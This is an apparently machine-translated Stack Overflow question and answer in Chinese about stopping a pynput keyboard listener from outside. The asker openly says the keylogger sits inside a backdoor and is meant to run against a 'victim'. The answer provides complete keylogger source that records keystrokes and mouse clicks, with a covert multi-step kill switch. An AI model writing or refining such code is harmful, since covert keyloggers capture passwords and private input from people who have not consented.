【问题标题】:Pynput stop listener from "outside"Pynput 从“外部”停止监听器
【发布时间】:2019-04-19 17:05:53
【问题描述】:

我启动了一个小后门,并在其中使用了键盘记录器。 我使用了 pynput 库,我想知道是否可以从外部函数或主循环中停止 pynput 侦听器。

这是一个代码sn-p:

class KeyLoggerThread(threading.Thread):
    global Quit
    def __init__(self):
        super().__init__()

    def run(self):
        logging.basicConfig(filename="keys.log",level=logging.DEBUG, format='%(asctime)s %(message)s')
        def on_press(key):
            logging.debug(str(key))
            if key == Key.esc:
                return False
        with Listener(on_press = on_press) as listener:
            listener.join()

现在,我必须使用 esc 键不太实用,因为这个键盘记录器在我的后门中使用,所以当受害者按下 esc 时它会退出键盘记录器。 我真正想要的是在我想停止它时发送一个信号(而不是从一个键)。 在此先感谢,祝您有美好的一天!

【问题讨论】:

  • 你有什么解决办法吗?

标签: python pynput


【解决方案1】:

你说的是键盘记录器......是的,如果你想要一个信号而不是来自一个键然后买一个遥控器:))

在这个示例代码中,我组合了 3 种不同的密码来防止错误地关闭侦听器事件。

按住鼠标中键/滚轮,写一个单词 ex.@admin(点击那个关键字符)然后让你复制一些文本... PS。我不知道有多少人会同时在键盘上写字,同时手握鼠标并握住轮毂……这只是一个例子,要有创意。

#// IMPORTS
import pyperclip
from pynput import keyboard, mouse

keylogger_stop = False
# password = [Boolean, String_1, String_2]
# Boolean - Need to hold mouse middle mutton, if you 
#           released befoure to finish, well try again
# String_1 - Write that password/word. Special keys
#           are ignored (alt, ctrl, cmd, shift etc.)
# String 2 - You need to have this text copyed (Ctrl + C)
#           and after you finish to write manual String_1
password = [False, "@dmin", ">> Double $$$ check! <<"]
pass_type = ""

class Keylogger:
    def __init__(self):
        Keylogger.Keyboard.Listener()
        Keylogger.Mouse.Listener()
        
    class Keyboard:
        def Press(key):
            if keylogger_stop == True: return False
            else: print(f"K_K_P: {key}")
        
        def Release(key):
            global pass_type, keylogger_stop
            # get copyed string + holding right mouse button pressed
            if password[0] == True and pass_type == password[1]:
                if pyperclip.paste().strip() == password[2]: keylogger_stop = True
                else: password[0] = False; pass_type = ""
            # write string password/word + holding right mouse button pressed
            elif password[0] == True:
                try: pass_type += key.char; print(pass_type, password[0])
                except: pass
                
            else: print(f"K_K_R: {key}")
        
        def Listener():
            l = keyboard.Listener(on_press = Keylogger.Keyboard.Press,
                                  on_release =  Keylogger.Keyboard.Release)
            l.start()

    class Mouse:
        def Click(x, y, b, p):
            global pass_type
            
            if keylogger_stop == True: return False

            # hold mouse button pressed, on release will reset the progress
            elif b == mouse.Button.middle:
                if p == True: password[0] = True
                else: password[0] = False; pass_type = ""
            else: print(f"{b} was {'pressed' if p else 'released'} at ({x} x {y})")
        
        def Listener():
            mouse.Listener(on_click = Keylogger.Mouse.Click).start()

class Main:
    def __init__(self):
        Keylogger()
    
#// RUN IF THIS FILE IS THE MAIN ONE
if __name__ == "__main__": 
    Main()

【讨论】:

    猜你喜欢
    • 2021-10-28
    • 2021-02-11
    • 2023-03-14
    • 2021-07-24
    • 1970-01-01
    • 2021-12-18
    • 1970-01-01
    • 2018-01-25
    • 1970-01-01
    相关资源
    最近更新 更多